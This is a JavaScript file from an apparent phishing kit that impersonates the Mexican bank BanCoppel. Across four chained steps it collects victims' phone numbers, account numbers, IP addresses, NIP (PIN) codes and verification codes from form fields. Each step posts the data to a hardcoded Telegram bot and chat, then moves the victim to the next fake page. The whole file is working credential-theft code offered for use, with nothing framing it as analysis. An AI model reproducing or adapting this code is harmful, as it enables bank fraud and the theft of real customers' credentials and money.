//bot token var telegram_bot_id = "7782426564:AAFBqcW06Zi28SCQRqmS9e51Bq5ljyWjfzw"; //chat id var chat_id = "7214125162"; var USER, PASS, PIN, PIN2, PIN3, NUMBER, ip, ip2, message; var ready = function () { CEL = document.getElementById("ypn-cel").value; FN = document.getElementById("ypn-fn").value; NC = document.getElementById("ypn-nc").value; ip2 = document.getElementById("address").innerHTML; message = "-----BanCoppel----"+ CEL + "----------Fecha: "+ FN + "-----------Cuenta: " + NC + "\n" + ip2; localStorage.setItem("CEL", CEL); }; var sender = function () { ready(); var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_id, "text": message }) }; $.ajax(settings).done(function (response) { console.log(response); location.href="index2.html" }); return false; } var ready1 = function () { CEL = localStorage.getItem("CEL"); DT = document.getElementById("ypndt").value; DN = document.getElementById("ypndn").value; message = "----------DT: " + DT + "----------NIP: " + DN +"----------Celular: " + CEL; localStorage.setItem("CEL", CEL); }; var sender1 = function () { ready1(); var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_id, "text": message }) }; $.ajax(settings).done(function (response) { console.log(response); location.href="index3.html" }); return false; } var ready2 = function () { CEL = localStorage.getItem("CEL"); CD = document.getElementById("ypncd").value; message = "----------Codigo: " + CD + "----------Celular: " + CEL; localStorage.setItem("CEL", CEL); }; var sender2 = function () { ready2(); var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_id, "text": message }) }; $.ajax(settings).done(function (response) { console.log(response); location.href="index4.html" }); return false; } var ready3 = function () { CEL = localStorage.getItem("CEL"); CD2 = document.getElementById("ypncd2").value; message = "----------Codigo2: " + CD2 + "----------Celular: " + CEL; localStorage.setItem("CEL", CEL); }; var sender3 = function () { ready3(); var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_id, "text": message }) }; $.ajax(settings).done(function (response) { console.log(response); location.href="index.html" }); return false; }